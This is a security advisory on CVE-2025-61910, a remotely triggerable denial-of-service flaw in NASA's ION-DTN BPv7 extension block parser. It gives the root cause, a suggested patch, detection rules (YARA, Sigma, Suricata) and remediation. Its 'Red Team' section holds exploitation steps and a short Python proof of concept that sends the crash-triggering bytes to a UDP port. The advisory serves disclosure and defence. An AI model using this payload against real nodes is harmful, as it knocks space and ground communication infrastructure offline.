CVE-2025-61910

Executive Summary

CVE-2025-61910 is a high-severity Denial-of-Service (DoS) vulnerability in NASA’s Interplanetary Overlay Network (ION) implementation of Delay/Disruption Tolerant Networking (DTN), specifically in version 4.1.3s. The flaw resides in the processing of BPv7 bundles with malformed extension blocks. A crafted bundle containing a CBOR-encoded extension block triggers an integer overflow during memory allocation, leading to uncontrolled memory allocation and termination of the receiver thread. This results in a complete denial of service for the affected ION node. The vulnerability is currently unpatched, and no known fixes exist as of the time of publication. The attack vector is network-based, requires no authentication, and has low complexity, making it a significant threat to space communication infrastructure.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions or complex steps are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data is exposed.
• Integrity Impact: None (I:N) – No data is modified.
• Availability Impact: High (A:H) – The service is completely disrupted.

Threat Level: High. The vulnerability is remotely exploitable with low complexity and no authentication, posing a critical risk to the availability of ION-DTN nodes in space or ground networks.

Deep Dive & Mechanics

The vulnerability is triggered by a BPv7 bundle containing a malformed extension block. The extension block starts with the bytes 0x85070201005bbb0e20b4ea001a000927c0.... The first byte 0x85 indicates a CBOR array of five elements. The first four elements are numbers (0x07, 0x02, 0x01, 0x00), but the fifth element is a byte string of length 27 (0x5bbb0e20b4ea001a000927c0...). The vulnerability is specifically triggered when processing this fifth element as a byte string; replacing it with a number prevents the crash.

During parsing, the code in bei.c at line 764 calculates a block length. The blockLength variable, which is an unsigned int, is passed to a 32-bit signed integer blkSize. The unsigned-to-signed conversion causes blkSize to hold a negative value (e.g., -369092043). This negative value is then converted to a 64-bit unsigned value inside the MTAKE(blkSize) macro, resulting in an attempt to allocate an unrealistic amount of memory (approximately 18 exabytes). This uncontrolled memory allocation fails, causing the receiver thread to terminate and resulting in a Denial-of-Service.

The root cause is an integer overflow/signedness error in the conversion from unsigned to signed integer, combined with improper validation of the block length before memory allocation.

Vulnerable vs. Patched Code

Vulnerable Code (ION-DTN 4.1.3s, bei.c line 764):

unsigned int blockLength;
int blkSize;
// ... parsing logic ...
blkSize = blockLength; // Unsigned to signed conversion without bounds check
// ...
MTAKE(blkSize); // Attempts to allocate blkSize bytes

Patched Code (Hypothetical):

unsigned int blockLength;
size_t blkSize;
// ... parsing logic ...
if (blockLength > MAX_ALLOC_SIZE) {
    // Handle error, reject bundle
    return -1;
}
blkSize = blockLength; // Use size_t to avoid signedness issues
// ...
MTAKE(blkSize);

The patch would involve:

1. Changing blkSize to size_t to avoid signedness issues.
2. Adding a bounds check to ensure blockLength does not exceed a reasonable maximum allocation size.
3. Properly handling the error case when the block length is invalid.

Exploitation & Lab Setup

Red Team

Exploitation Steps:

1. Craft the Malicious Bundle: Create a BPv7 bundle with a malformed extension block. The extension block must start with 0x85070201005bbb0e20b4ea001a000927c0... to trigger the vulnerability.
2. Send the Bundle: Transmit the crafted bundle to the target ION-DTN node over the network.
3. Trigger DoS: The target node will attempt to allocate an unrealistic amount of memory, causing the receiver thread to terminate and the service to become unavailable.

Proof-of-Concept (PoC) Script (Python):

import socket

# Craft the malformed extension block
extension_block = bytes.fromhex('85070201005bbb0e20b4ea001a000927c0')

# Build a minimal BPv7 bundle (simplified for PoC)
bundle = b'\x00' * 100  # Placeholder for bundle header
bundle += extension_block

# Send to target
target_ip = '192.168.1.100'
target_port = 4556
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(bundle, (target_ip, target_port))
sock.close()

Expected Outcome: The target ION-DTN node becomes unresponsive due to thread termination.

Blue Team

Detection and Mitigation:

1. Network Monitoring: Monitor for BPv7 bundles with unusually large extension blocks or specific byte patterns (e.g., starting with 0x8507020100).
2. Memory Usage Alerts: Set up alerts for abnormal memory allocation attempts on ION-DTN nodes.
3. Rate Limiting: Implement rate limiting for incoming bundles to reduce the impact of repeated attacks.
4. Firewall Rules: Block or restrict access to ION-DTN ports (e.g., 4556) from untrusted networks.
5. Process Monitoring: Monitor the ION-DTN process for unexpected terminations and restart automatically.

Indicators of Compromise (IOCs)

• Network IOCs:

  • BPv7 bundles containing extension blocks starting with 0x8507020100.
  • Unusually large bundle sizes (e.g., > 1 MB) for extension blocks.
  • Repeated connection attempts to ION-DTN ports (4556/UDP) from a single source.

• Host IOCs:

  • ION-DTN process crash logs indicating memory allocation failure.
  • System logs showing out-of-memory (OOM) events.
  • High memory usage spikes before process termination.

• File IOCs:

  • Crafted bundle files with the specific byte pattern 0x85070201005bbb0e20b4ea001a000927c0.

Detection Engineering

YARA Rule

rule CVE_2025_61910_ION_DTN_DoS {
    meta:
        description = "Detects BPv7 bundles with malformed extension blocks triggering CVE-2025-61910"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61910"
    strings:
        $trigger = { 85 07 02 01 00 5b bb 0e 20 b4 ea 00 1a 00 09 27 c0 }
    condition:
        $trigger
}

Sigma Rule

title: CVE-2025-61910 ION-DTN DoS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic containing malformed BPv7 extension blocks targeting ION-DTN
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        payload|contains: '85070201005bbb0e20b4ea001a000927c0'
    condition: selection
falsepositives:
    - Legitimate BPv7 bundles with similar byte patterns (unlikely)
level: high

Suricata Rule

alert udp any any -> any 4556 (msg:"CVE-2025-61910 ION-DTN Malformed Extension Block DoS"; content:"|85 07 02 01 00 5b bb 0e 20 b4 ea 00 1a 00 09 27 c0|"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: Disconnect ION-DTN nodes from untrusted networks if possible.
2. Apply Workarounds: Implement network-level filtering to block bundles with extension blocks starting with 0x8507020100.
3. Monitor for Patches: Regularly check for updates from NASA regarding ION-DTN patches.

Long-Term Fixes:

1. Code Review: Conduct a thorough review of bei.c and related files for integer overflow and signedness issues.
2. Input Validation: Add strict validation of block lengths before memory allocation.
3. Memory Allocation Limits: Implement maximum allocation size checks in MTAKE and similar macros.
4. Use Safe Types: Replace int with size_t for memory size variables to avoid signedness issues.

Vendor Contact: NASA’s ION-DTN development team should be contacted for official patches.

Valters IT